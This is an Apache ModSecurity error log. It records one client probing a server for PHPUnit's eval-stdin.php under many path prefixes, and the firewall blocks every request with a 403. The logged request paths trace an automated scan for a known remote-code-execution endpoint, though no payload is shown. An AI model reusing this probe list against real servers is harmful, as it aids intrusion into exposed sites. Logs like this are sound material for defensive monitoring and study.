[Sat Oct 24 20:43:15.969352 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qo93lMH_Ldre-PZtudgAAACk"]
[Sat Oct 24 20:43:15.969855 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qo93lMH_Ldre-PZtudgAAACk"]
[Sat Oct 24 20:43:15.970729 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qo93lMH_Ldre-PZtudgAAACk"]
[Sat Oct 24 20:43:16.156058 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1QpN3lMH_Ldre-PZtudwAAACk"]
[Sat Oct 24 20:43:16.156518 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1QpN3lMH_Ldre-PZtudwAAACk"]
[Sat Oct 24 20:43:16.157431 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1QpN3lMH_Ldre-PZtudwAAACk"]
[Sat Oct 24 20:43:16.329308 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1QpN3lMH_Ldre-PZtueAAAACk"]
[Sat Oct 24 20:43:16.329795 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1QpN3lMH_Ldre-PZtueAAAACk"]
[Sat Oct 24 20:43:16.330790 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1QpN3lMH_Ldre-PZtueAAAACk"]
[Sat Oct 24 20:43:16.503172 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1QpN3lMH_Ldre-PZtueQAAACk"]
[Sat Oct 24 20:43:16.503627 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1QpN3lMH_Ldre-PZtueQAAACk"]
[Sat Oct 24 20:43:16.504479 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1QpN3lMH_Ldre-PZtueQAAACk"]
[Sat Oct 24 20:43:16.703526 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1QpN3lMH_Ldre-PZtuegAAACk"]
[Sat Oct 24 20:43:16.704010 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1QpN3lMH_Ldre-PZtuegAAACk"]
[Sat Oct 24 20:43:16.704892 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1QpN3lMH_Ldre-PZtuegAAACk"]
[Sat Oct 24 20:43:16.906481 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1QpN3lMH_Ldre-PZtuewAAACk"]
[Sat Oct 24 20:43:16.906963 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1QpN3lMH_Ldre-PZtuewAAACk"]
[Sat Oct 24 20:43:16.907882 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1QpN3lMH_Ldre-PZtuewAAACk"]
[Sat Oct 24 20:43:17.094473 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qpd3lMH_Ldre-PZtufAAAACk"]
[Sat Oct 24 20:43:17.094940 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qpd3lMH_Ldre-PZtufAAAACk"]
[Sat Oct 24 20:43:17.095851 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qpd3lMH_Ldre-PZtufAAAACk"]
[Sat Oct 24 20:43:17.273217 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qpd3lMH_Ldre-PZtufQAAACk"]
[Sat Oct 24 20:43:17.273678 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qpd3lMH_Ldre-PZtufQAAACk"]
[Sat Oct 24 20:43:17.274605 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qpd3lMH_Ldre-PZtufQAAACk"]
[Sat Oct 24 20:43:17.453622 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qpd3lMH_Ldre-PZtufgAAACk"]
[Sat Oct 24 20:43:17.454082 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qpd3lMH_Ldre-PZtufgAAACk"]
[Sat Oct 24 20:43:17.454959 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qpd3lMH_Ldre-PZtufgAAACk"]
[Sat Oct 24 20:43:17.646189 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qpd3lMH_Ldre-PZtufwAAACk"]
[Sat Oct 24 20:43:17.646664 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qpd3lMH_Ldre-PZtufwAAACk"]
[Sat Oct 24 20:43:17.647566 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qpd3lMH_Ldre-PZtufwAAACk"]
[Sat Oct 24 20:43:17.856523 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qpd3lMH_Ldre-PZtugAAAACk"]
[Sat Oct 24 20:43:17.856990 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qpd3lMH_Ldre-PZtugAAAACk"]
[Sat Oct 24 20:43:17.857979 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qpd3lMH_Ldre-PZtugAAAACk"]
[Sat Oct 24 20:43:18.061807 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qpt3lMH_Ldre-PZtugQAAACk"]
[Sat Oct 24 20:43:18.062253 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qpt3lMH_Ldre-PZtugQAAACk"]
[Sat Oct 24 20:43:18.063105 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qpt3lMH_Ldre-PZtugQAAACk"]
[Sat Oct 24 20:43:18.163682 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.202.52.82:20614] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:43:18.241524 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qpt3lMH_Ldre-PZtuggAAACk"]
[Sat Oct 24 20:43:18.242084 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qpt3lMH_Ldre-PZtuggAAACk"]
[Sat Oct 24 20:43:18.242957 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qpt3lMH_Ldre-PZtuggAAACk"]
